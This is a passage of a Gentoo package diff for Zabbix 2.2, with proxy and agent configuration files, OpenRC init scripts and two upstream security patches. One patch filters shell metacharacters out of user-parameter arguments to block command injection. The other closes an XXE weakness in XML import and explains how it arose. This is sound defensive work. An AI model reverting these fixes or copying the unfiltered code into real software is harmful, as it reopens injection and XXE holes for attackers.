+# Database port when not using local socket. Ignored for SQLite.
+#
+# Mandatory: no
+# Default (for MySQL):
+# DBPort=3306
+
+######### PROXY SPECIFIC PARAMETERS #############
+
+### Option: ProxyLocalBuffer
+# Proxy will keep data locally for N hours, even if the data have already been synced with the server.
+# This parameter may be used if local data will be used by third party applications.
+#
+# Mandatory: no
+# Range: 0-720
+# Default:
+# ProxyLocalBuffer=0
+
+### Option: ProxyOfflineBuffer
+# Proxy will keep data for N hours in case if no connectivity with Zabbix Server.
+# Older data will be lost.
+#
+# Mandatory: no
+# Range: 1-720
+# Default:
+# ProxyOfflineBuffer=1
+
+### Option: HeartbeatFrequency
+# Frequency of heartbeat messages in seconds.
+# Used for monitoring availability of Proxy on server side.
+# 0 - heartbeat messages disabled.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 0-3600
+# Default:
+# HeartbeatFrequency=60
+
+### Option: ConfigFrequency
+# How often proxy retrieves configuration data from Zabbix Server in seconds.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1-3600*24*7
+# Default:
+# ConfigFrequency=3600
+
+### Option: DataSenderFrequency
+# Proxy will send collected data to the Server every N seconds.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# DataSenderFrequency=1
+
+############ ADVANCED PARAMETERS ################
+
+### Option: StartPollers
+# Number of pre-forked instances of pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollers=5
+
+### Option: StartIPMIPollers
+# Number of pre-forked instances of IPMI pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartIPMIPollers=0
+
+### Option: StartPollersUnreachable
+# Number of pre-forked instances of pollers for unreachable hosts (including IPMI).
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollersUnreachable=1
+
+### Option: StartTrappers
+# Number of pre-forked instances of trappers.
+# Trappers accept incoming connections from Zabbix sender and active agents.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartTrappers=5
+
+### Option: StartPingers
+# Number of pre-forked instances of ICMP pingers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPingers=1
+
+### Option: StartDiscoverers
+# Number of pre-forked instances of discoverers.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartDiscoverers=1
+
+### Option: StartHTTPPollers
+# Number of pre-forked instances of HTTP pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartHTTPPollers=1
+
+### Option: JavaGateway
+# IP address (or hostname) of Zabbix Java gateway.
+# Only required if Java pollers are started.
+#
+# Mandatory: no
+# Default:
+# JavaGateway=
+
+### Option: JavaGatewayPort
+# Port that Zabbix Java gateway listens on.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# JavaGatewayPort=10052
+
+### Option: StartJavaPollers
+# Number of pre-forked instances of Java pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartJavaPollers=0
+
+### Option: SNMPTrapperFile
+# Temporary file used for passing data from SNMP trap daemon to the proxy.
+# Must be the same as in zabbix_trap_receiver.pl or SNMPTT configuration file.
+#
+# Mandatory: no
+# Default:
+# SNMPTrapperFile=/tmp/zabbix_traps.tmp
+
+### Option: StartSNMPTrapper
+# If 1, SNMP trapper process is started.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# StartSNMPTrapper=0
+
+### Option: ListenIP
+# List of comma delimited IP addresses that the trapper should listen on.
+# Trapper will listen on all network interfaces if this parameter is missing.
+#
+# Mandatory: no
+# Default:
+# ListenIP=0.0.0.0
+
+### Option: HousekeepingFrequency
+# How often Zabbix will perform housekeeping procedure (in hours).
+# Housekeeping is removing unnecessary information from history, alert, and alarms tables.
+#
+# Mandatory: no
+# Range: 1-24
+# Default:
+# HousekeepingFrequency=1
+
+### Option: CacheSize
+# Size of configuration cache, in bytes.
+# Shared memory size, for storing hosts and items data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# CacheSize=8M
+
+### Option: StartDBSyncers
+# Number of pre-forked instances of DB Syncers
+#
+# Mandatory: no
+# Range: 1-100
+# Default:
+# StartDBSyncers=4
+
+### Option: HistoryCacheSize
+# Size of history cache, in bytes.
+# Shared memory size for storing history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryCacheSize=8M
+
+### Option: HistoryTextCacheSize
+# Size of text history cache, in bytes.
+# Shared memory size for storing character, text or log history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryTextCacheSize=16M
+
+### Option: Timeout
+# Specifies how long we wait for agent, SNMP device or external check (in seconds).
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: TrapperTimeout
+# Specifies how many seconds trapper may spend processing new data.
+#
+# Mandatory: no
+# Range: 1-300
+# Default:
+# TrapperTimeout=300
+
+### Option: UnreachablePeriod
+# After how many seconds of unreachability treat a host as unavailable.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachablePeriod=45
+
+### Option: UnavailableDelay
+# How often host is checked for availability during the unavailability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnavailableDelay=60
+
+### Option: UnreachableDelay
+# How often host is checked for availability during the unreachability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachableDelay=15
+
+### Option: ExternalScripts
+# Full path to location of external scripts.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# ExternalScripts=${datadir}/zabbix/externalscripts
+
+### Option: FpingLocation
+# Location of fping.
+# Make sure that fping binary has root ownership and SUID flag set.
+#
+# Mandatory: no
+# Default:
+# FpingLocation=/usr/sbin/fping
+
+### Option: Fping6Location
+# Location of fping6.
+# Make sure that fping6 binary has root ownership and SUID flag set.
+# Make empty if your fping utility is capable to process IPv6 addresses.
+#
+# Mandatory: no
+# Default:
+# Fping6Location=/usr/sbin/fping6
+
+### Option: SSHKeyLocation
+# Location of public and private keys for SSH checks and actions
+#
+# Mandatory: no
+# Default:
+# SSHKeyLocation=
+
+### Option: LogSlowQueries
+# How long a database query may take before being logged (in milliseconds).
+# Only works if DebugLevel set to 3 or 4.
+# 0 - don't log slow queries.
+#
+# Mandatory: no
+# Range: 1-3600000
+# Default:
+# LogSlowQueries=0
+
+### Option: TmpDir
+# Temporary directory.
+#
+# Mandatory: no
+# Default:
+# TmpDir=/tmp
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_proxy.general.conf
+# Include=/usr/local/etc/zabbix_proxy.conf.d/
diff --git a/net-analyzer/zabbix/files/2.2/init.d/zabbix-agentd b/net-analyzer/zabbix/files/2.2/init.d/zabbix-agentd
new file mode 100644
index 000000000000..fb34dd42cdc0
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/init.d/zabbix-agentd
@@ -0,0 +1,29 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/run/zabbix/zabbix_agentd.pid"
+
+depend() {
+ need net
+ provide zabbix-agent
+ use zabbix-server
+}
+
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix agent"
+ start-stop-daemon --start --pidfile ${pid_file} \
+ --user zabbix --group zabbix --exec /usr/sbin/zabbix_agentd -- -c /etc/zabbix/zabbix_agentd.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix agent"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.2/init.d/zabbix-proxy b/net-analyzer/zabbix/files/2.2/init.d/zabbix-proxy
new file mode 100644
index 000000000000..e1ee690f1c22
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/init.d/zabbix-proxy
@@ -0,0 +1,28 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/run/zabbix/zabbix_proxy.pid"
+
+depend() {
+ need net
+ provide zabbix-proxy
+}
+
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix proxy"
+ start-stop-daemon --start --pidfile ${pid_file} \
+ --user zabbix --group zabbix --exec /usr/sbin/zabbix_proxy -- -c /etc/zabbix/zabbix_proxy.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix proxy"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.2/init.d/zabbix-server b/net-analyzer/zabbix/files/2.2/init.d/zabbix-server
new file mode 100644
index 000000000000..2c9575aa4bea
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/init.d/zabbix-server
@@ -0,0 +1,27 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/run/zabbix/zabbix_server.pid"
+
+depend() {
+ need net
+ use mysql postgresql
+}
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix server"
+ start-stop-daemon --start --user zabbix --group zabbix --pidfile ${pid_file} \
+ --exec /usr/sbin/zabbix_server -- -c /etc/zabbix/zabbix_server.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix server"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.2/patches/zbx7479.patch b/net-analyzer/zabbix/files/2.2/patches/zbx7479.patch
new file mode 100644
index 000000000000..79bb92f4bae0
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/patches/zbx7479.patch
@@ -0,0 +1,83 @@
+Index: src/libs/zbxsysinfo/sysinfo.c
+===================================================================
+--- src/libs/zbxsysinfo/sysinfo.c (revision 40348)
++++ src/libs/zbxsysinfo/sysinfo.c (working copy)
+@@ -427,13 +427,49 @@
+ test_aliases();
+ }
+
++static int zbx_check_user_parameter(const char *param, char *error, int max_error_len)
++{
++ const char suppressed_chars[] = "\\'\"`*?[]{}~$!&;()<>|#@\n", *c;
++ char *buf = NULL;
++ size_t buf_alloc = 128, buf_offset = 0;
++
++ if (0 != CONFIG_UNSAFE_USER_PARAMETERS)
++ return SUCCEED;
++
++ for (c = suppressed_chars; '\0' != *c; c++)
++ {
++ if (NULL == strchr(param, *c))
++ continue;
++
++ buf = zbx_malloc(buf, buf_alloc);
++
++ for (c = suppressed_chars; '\0' != *c; c++)
++ {
++ if (c != suppressed_chars)
++ zbx_strcpy_alloc(&buf, &buf_alloc, &buf_offset, ", ");
++
++ if (0 != isprint(*c))
++ zbx_chrcpy_alloc(&buf, &buf_alloc, &buf_offset, *c);
++ else
++ zbx_snprintf_alloc(&buf, &buf_alloc, &buf_offset, "0x%02x", *c);
++ }
++
++ zbx_snprintf(error, max_error_len, "special characters \"%s\" are not allowed in the parameters", buf);
++
++ zbx_free(buf);
++
++ return FAIL;
++ }
++
++ return SUCCEED;
++}
++
+ static int replace_param(const char *cmd, const char *param, char *out, int outlen, char *error, int max_error_len)
+ {
+ int ret = SUCCEED;
+ char buf[MAX_STRING_LEN];
+ char command[MAX_STRING_LEN];
+ char *pl, *pr;
+- const char suppressed_chars[] = "\\'\"`*?[]{}~$!&;()<>|#@", *c;
+
+ assert(out);
+
+@@ -465,25 +501,10 @@
+ {
+ get_param(param, (int)(pr[1] - '0'), buf, sizeof(buf));
+
+- if (0 == CONFIG_UNSAFE_USER_PARAMETERS)
+- {
+- for (c = suppressed_chars; '\0' != *c; c++)
+- {
+- if (NULL != strchr(buf, *c))
+- {
+- zbx_snprintf(error, max_error_len, "Special characters '%s'"
+- " are not allowed in the parameters",
+- suppressed_chars);
+- ret = FAIL;
+- break;
+- }
+- }
+- }
++ if (SUCCEED != (ret = zbx_check_user_parameter(buf, error, max_error_len)))
++ break;
+ }
+
+- if (FAIL == ret)
+- break;
+-
+ zbx_strlcat(out, buf, outlen);
+ outlen -= MIN((int)strlen(buf), (int)outlen);
+
diff --git a/net-analyzer/zabbix/files/2.2/patches/zbx8151.patch b/net-analyzer/zabbix/files/2.2/patches/zbx8151.patch
new file mode 100644
index 000000000000..076e10ab75a4
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/patches/zbx8151.patch
@@ -0,0 +1,53 @@
+Index: frontends/php/include/defines.inc.php
+===================================================================
+--- frontends/php/include/defines.inc.php (revision 46596)
++++ frontends/php/include/defines.inc.php (revision 46655)
+@@ -835,6 +835,14 @@
+
+ define('ZBX_DEFAULT_IMPORT_HOST_GROUP', 'Imported hosts');
+
++// XML import flags
++// See ZBX-8151. Old version of libxml suffered from setting DTDLOAD and NOENT flags by default, which allowed
++// performing XXE attacks. Calling libxml_disable_entity_loader(true) also had no affect if flags passed to libxml
++// calls were 0 - so for better security with legacy libxml we need to call libxml_disable_entity_loader(true) AND
++// pass the LIBXML_NONET flag. Please keep in mind that LIBXML_NOENT actually EXPANDS entities, opposite to it's name -
++// so this flag is not needed here.
++define('LIBXML_IMPORT_FLAGS', LIBXML_NONET);
++
+ // API errors
+ define('ZBX_API_ERROR_INTERNAL', 111);
+ define('ZBX_API_ERROR_PARAMETERS', 100);
+Index: frontends/php/include/classes/import/readers/CXmlImportReader.php
+===================================================================
+--- frontends/php/include/classes/import/readers/CXmlImportReader.php (revision 46596)
++++ frontends/php/include/classes/import/readers/CXmlImportReader.php (revision 46655)
+@@ -32,7 +32,8 @@
+ */
+ public function read($string) {
+ libxml_use_internal_errors(true);
+- $result = simplexml_load_string($string);
++ libxml_disable_entity_loader(true);
++ $result = simplexml_load_string($string, null, LIBXML_IMPORT_FLAGS);
+ if (!$result) {
+ $errors = libxml_get_errors();
+ libxml_clear_errors();
+Index: frontends/php/include/classes/import/CXmlImport18.php
+===================================================================
+--- frontends/php/include/classes/import/CXmlImport18.php (revision 46596)
++++ frontends/php/include/classes/import/CXmlImport18.php (revision 46655)
+@@ -390,12 +390,13 @@
+ return $array;
+ }
+
+- public static function import($file) {
++ public static function import($source) {
+
+ libxml_use_internal_errors(true);
++ libxml_disable_entity_loader(true);
+
+ $xml = new DOMDocument();
+- if (!$xml->loadXML($file)) {
++ if (!$xml->loadXML($source, LIBXML_IMPORT_FLAGS)) {
+ $text = '';
+ foreach (libxml_get_errors() as $error) {
+ switch ($error->level) {
diff --git a/net-analyzer/zabbix/files/2.2/zabbix_agent.conf b/net-analyzer/zabbix/files/2.2/zabbix_agent.conf
new file mode 100644
index 000000000000..dcb4b7248c2e
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/zabbix_agent.conf
@@ -0,0 +1,81 @@
+# This is a config file for Zabbix internet service daemon agent
+# To get more information about Zabbix visit http://www.zabbix.com
+
+### Option: Server
+# IP address of Zabbix server
+# Connections from other hosts will be denied
+# If IPv6 support is enabled then '127.0.0.1', '::127.0.0.1', '::ffff:127.0.0.1' are treated equally.
+#
+# Mandatory: yes
+# Default:
+# Server=
+
+Server=127.0.0.1
+
+############ ADVANCED PARAMETERS #################
+
+### Option: Alias
+# Sets an alias for parameter. It can be useful to substitute long and complex parameter name with a smaller and simpler one.
+#
+# Mandatory: no
+# Range:
+# Default:
+
+### Option: Timeout
+# Spend no more than Timeout seconds on processing
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_agent.userparams.conf
+# Include=/usr/local/etc/zabbix_agent.conf.d/
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+
+### Option: UnsafeUserParameters
+# Allow all characters to be passed in arguments to user-defined parameters.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# UnsafeUserParameters=0
+
+### Option: UserParameter
+# User-defined parameter to monitor. There can be several user-defined parameters.
+# Format: UserParameter=<key>,<shell command>
+# See 'zabbix_agentd' directory for examples.
+#
+# Mandatory: no
+# Default:
+# UserParameter=
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of agent modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at agent startup. Modules are used to extend functionality of the agent.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/2.2/zabbix_agentd.conf b/net-analyzer/zabbix/files/2.2/zabbix_agentd.conf
new file mode 100644
index 000000000000..4d49d3685e81
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/zabbix_agentd.conf
@@ -0,0 +1,278 @@
+# This is a config file for the Zabbix agent daemon (Unix)
+# To get more information about Zabbix, visit http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+### Option: PidFile
+# Name of PID file.
+#
+# Mandatory: no
+# Default:
+PidFile=/run/zabbix/zabbix_agentd.pid
+
+### Option: LogFile
+# Name of log file.
+# If not set, syslog is used.
+#
+# Mandatory: no
+# Default:
+# LogFile=
+
+LogFile=/var/log/zabbix/zabbix_agentd.log
+
+### Option: LogFileSize
+# Maximum size of log file in MB.
+# 0 - disable automatic log rotation.
+#
+# Mandatory: no
+# Range: 0-1024
+# Default:
+LogFileSize=128
+
+### Option: DebugLevel
+# Specifies debug level
+# 0 - no debug
+# 1 - critical information
+# 2 - error information
+# 3 - warnings
+# 4 - for debugging (produces lots of information)
+#
+# Mandatory: no
+# Range: 0-4
+# Default:
+# DebugLevel=3
+
+### Option: SourceIP
+# Source IP address for outgoing connections.
+#
+# Mandatory: no
+# Default:
+# SourceIP=
+
+### Option: EnableRemoteCommands
+# Whether remote commands from Zabbix server are allowed.
+# 0 - not allowed
+# 1 - allowed
+#
+# Mandatory: no
+# Default:
+# EnableRemoteCommands=0
+
+### Option: LogRemoteCommands
+# Enable logging of executed shell commands as warnings.
+# 0 - disabled
+# 1 - enabled
+#
+# Mandatory: no
+# Default:
+# LogRemoteCommands=0
+
+##### Passive checks related
+
+### Option: Server
+# List of comma delimited IP addresses (or hostnames) of Zabbix servers.
+# Incoming connections will be accepted only from the hosts listed here.
+# If IPv6 support is enabled then '127.0.0.1', '::127.0.0.1', '::ffff:127.0.0.1' are treated equally.
+#
+# Mandatory: no
+# Default:
+# Server=
+
+Server=127.0.0.1
+
+### Option: ListenPort
+# Agent will listen on this port for connections from the server.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ListenPort=10050
+
+### Option: ListenIP
+# List of comma delimited IP addresses that the agent should listen on.
+# First IP address is sent to Zabbix server if connecting to it to retrieve list of active checks.
+#
+# Mandatory: no
+# Default:
+# ListenIP=0.0.0.0
+
+### Option: StartAgents
+# Number of pre-forked instances of zabbix_agentd that process passive checks.
+# If set to 0, disables passive checks and the agent will not listen on any TCP port.
+#
+# Mandatory: no
+# Range: 0-100
+# Default:
+# StartAgents=3
+
+##### Active checks related
+
+### Option: ServerActive
+# List of comma delimited IP:port (or hostname:port) pairs of Zabbix servers for active checks.
+# If port is not specified, default port is used.
+# IPv6 addresses must be enclosed in square brackets if port for that host is specified.
+# If port is not specified, square brackets for IPv6 addresses are optional.
+# If this parameter is not specified, active checks are disabled.
+# Example: ServerActive=127.0.0.1:20051,zabbix.domain,[::1]:30051,::1,[12fc::1]
+#
+# Mandatory: no
+# Default:
+# ServerActive=
+
+ServerActive=127.0.0.1
+
+### Option: Hostname
+# Unique, case sensitive hostname.
+# Required for active checks and must match hostname as configured on the server.
+# Value is acquired from HostnameItem if undefined.
+#
+# Mandatory: no
+# Default:
+# Hostname=
+
+Hostname=Zabbix server
+
+### Option: HostnameItem
+# Item used for generating Hostname if it is undefined.
+# Ignored if Hostname is defined.
+#
+# Mandatory: no
+# Default:
+# HostnameItem=system.hostname
+
+### Option: HostMetadata
+# Optional parameter that defines host metadata.
+# Host metadata is used at host auto-registration process.
+# An agent will issue an error and not start if the value is over limit of 255 characters.
+# If not defined, value will be acquired from HostMetadataItem.
+#
+# Mandatory: no
+# Range: 0-255 characters
+# Default:
+# HostMetadata=
+
+### Option: HostMetadataItem
+# Optional parameter that defines an item used for getting host metadata.
+# Host metadata is used at host auto-registration process.
+# During an auto-registration request an agent will log a warning message if
+# the value returned by specified item is over limit of 255 characters.
+# This option is only used when HostMetadata is not defined.
+#
+# Mandatory: no
+# Default:
+# HostMetadataItem=
+
+### Option: RefreshActiveChecks
+# How often list of active checks is refreshed, in seconds.
+#
+# Mandatory: no
+# Range: 60-3600
+# Default:
+# RefreshActiveChecks=120
+
+### Option: BufferSend
+# Do not keep data longer than N seconds in buffer.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# BufferSend=5
+
+### Option: BufferSize
+# Maximum number of values in a memory buffer. The agent will send
+# all collected data to Zabbix Server or Proxy if the buffer is full.
+#
+# Mandatory: no
+# Range: 2-65535
+# Default:
+# BufferSize=100
+
+### Option: MaxLinesPerSecond
+# Maximum number of new lines the agent will send per second to Zabbix Server
+# or Proxy processing 'log' and 'logrt' active checks.
+# The provided value will be overridden by the parameter 'maxlines',
+# provided in 'log' or 'logrt' item keys.
+#
+# Mandatory: no
+# Range: 1-1000
+# Default:
+# MaxLinesPerSecond=100
+
+############ ADVANCED PARAMETERS #################
+
+### Option: Alias
+# Sets an alias for parameter. It can be useful to substitute long and complex parameter name with a smaller and simpler one.
+#
+# Mandatory: no
+# Range:
+# Default:
+
+### Option: Timeout
+# Spend no more than Timeout seconds on processing
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: AllowRoot
+# Allow the agent to run as 'root'. If disabled and the agent is started by 'root', the agent
+# will try to switch to user 'zabbix' instead. Has no effect if started under a regular user.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# AllowRoot=0
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_agentd.userparams.conf
+# Include=/usr/local/etc/zabbix_agentd.conf.d/
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+
+### Option: UnsafeUserParameters
+# Allow all characters to be passed in arguments to user-defined parameters.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# UnsafeUserParameters=0
+
+### Option: UserParameter
+# User-defined parameter to monitor. There can be several user-defined parameters.
+# Format: UserParameter=<key>,<shell command>
+# See 'zabbix_agentd' directory for examples.
+#
+# Mandatory: no
+# Default:
+# UserParameter=
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of agent modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at agent startup. Modules are used to extend functionality of the agent.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/2.2/zabbix_proxy.conf b/net-analyzer/zabbix/files/2.2/zabbix_proxy.conf
new file mode 100644
index 000000000000..d4bae2ea962f
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/zabbix_proxy.conf
@@ -0,0 +1,519 @@
+# This is a configuration file for Zabbix Proxy process
+# To get more information about Zabbix,
+# visit http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+### Option: ProxyMode
+# Proxy operating mode
+# 0 - proxy in the active mode
+# 1 - proxy in the passive mode
+#
+# Mandatory: no
+# Default:
+# ProxyMode=0
+
+### Option: Server
+# IP address (or hostname) of Zabbix server.
+# Active proxy will get configuration data from the server.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: yes (if ProxyMode is set to 0)
+# Default:
+# Server=
+
+Server=127.0.0.1
+
+### Option: ServerPort
+# Port of Zabbix trapper on Zabbix server.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ServerPort=10051
+
+### Option: Hostname
+# Unique, case sensitive Proxy name. Make sure the Proxy name is known to the server!
+# Value is acquired from HostnameItem if undefined.
+#
+# Mandatory: no
+# Default:
+# Hostname=
+
+Hostname=Zabbix proxy
+
+### Option: HostnameItem
+# Item used for generating Hostname if it is undefined.
+# Ignored if Hostname is defined.
+#
+# Mandatory: no
+# Default:
+# HostnameItem=system.hostname
+
+### Option: ListenPort
+# Listen port for trapper.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ListenPort=10051
+
+### Option: SourceIP
+# Source IP address for outgoing connections.
+#
+# Mandatory: no
+# Default:
+# SourceIP=
+
+### Option: LogFile
+# Name of log file.
+# If not set, syslog is used.
+#
+# Mandatory: no
+# Default:
+# LogFile=
+
+LogFile=/var/log/zabbix/zabbix_proxy.log
+
+### Option: LogFileSize
+# Maximum size of log file in MB.
+# 0 - disable automatic log rotation.
+#
+# Mandatory: no
+# Range: 0-1024
+# Default:
+LogFileSize=128
+
+### Option: DebugLevel
+# Specifies debug level
+# 0 - no debug
+# 1 - critical information
+# 2 - error information
+# 3 - warnings
+# 4 - for debugging (produces lots of information)
+#
+# Mandatory: no
+# Range: 0-4
+# Default:
+# DebugLevel=3
+
+### Option: PidFile
+# Name of PID file.
+#
+# Mandatory: no
+# Default:
+PidFile=/run/zabbix/zabbix_proxy.pid
+
+### Option: DBHost
+# Database host name.
+# If set to localhost, socket is used for MySQL.
+# If set to empty string, socket is used for PostgreSQL.
+#
+# Mandatory: no
+# Default:
+# DBHost=localhost
+
+### Option: DBName
+# Database name.
+# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
+# Warning: do not attempt to use the same database Zabbix server is using.
+#
+# Mandatory: yes
+# Default:
+# DBName=
+
+DBName=zabbix_proxy
+
+### Option: DBSchema
+# Schema name. Used for IBM DB2.
+#
+# Mandatory: no
+# Default:
+# DBSchema=
+
+### Option: DBUser
+# Database user. Ignored for SQLite.
+#
+# Default:
+# DBUser=
+
+DBUser=root
+
+### Option: DBPassword
+# Database password. Ignored for SQLite.
+# Comment this line if no password is used.
+#
+# Mandatory: no
+# Default:
+# DBPassword=
+
+### Option: DBSocket
+# Path to MySQL socket.
+#
+# Mandatory: no
+# Default:
+# DBSocket=/tmp/mysql.sock
+
+# Option: DBPort
+# Database port when not using local socket. Ignored for SQLite.
+#
+# Mandatory: no
+# Default (for MySQL):
+# DBPort=3306
+
+######### PROXY SPECIFIC PARAMETERS #############
+
+### Option: ProxyLocalBuffer
+# Proxy will keep data locally for N hours, even if the data have already been synced with the server.
+# This parameter may be used if local data will be used by third party applications.
+#
+# Mandatory: no
+# Range: 0-720
+# Default:
+# ProxyLocalBuffer=0
+
+### Option: ProxyOfflineBuffer
+# Proxy will keep data for N hours in case if no connectivity with Zabbix Server.
+# Older data will be lost.
+#
+# Mandatory: no
+# Range: 1-720
+# Default:
+# ProxyOfflineBuffer=1
+
+### Option: HeartbeatFrequency
+# Frequency of heartbeat messages in seconds.
+# Used for monitoring availability of Proxy on server side.
+# 0 - heartbeat messages disabled.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 0-3600
+# Default:
+# HeartbeatFrequency=60
+
+### Option: ConfigFrequency
+# How often proxy retrieves configuration data from Zabbix Server in seconds.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1-3600*24*7
+# Default:
+# ConfigFrequency=3600
+
+### Option: DataSenderFrequency
+# Proxy will send collected data to the Server every N seconds.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# DataSenderFrequency=1
+
+############ ADVANCED PARAMETERS ################
+
+### Option: StartPollers
+# Number of pre-forked instances of pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollers=5
+
+### Option: StartIPMIPollers
+# Number of pre-forked instances of IPMI pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartIPMIPollers=0
+
+### Option: StartPollersUnreachable
+# Number of pre-forked instances of pollers for unreachable hosts (including IPMI).
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollersUnreachable=1
+
+### Option: StartTrappers
+# Number of pre-forked instances of trappers.
+# Trappers accept incoming connections from Zabbix sender and active agents.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartTrappers=5
+
+### Option: StartPingers
+# Number of pre-forked instances of ICMP pingers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPingers=1
+
+### Option: StartDiscoverers
+# Number of pre-forked instances of discoverers.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartDiscoverers=1
+
+### Option: StartHTTPPollers
+# Number of pre-forked instances of HTTP pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartHTTPPollers=1
+
+### Option: JavaGateway
+# IP address (or hostname) of Zabbix Java gateway.
+# Only required if Java pollers are started.
+#
+# Mandatory: no
+# Default:
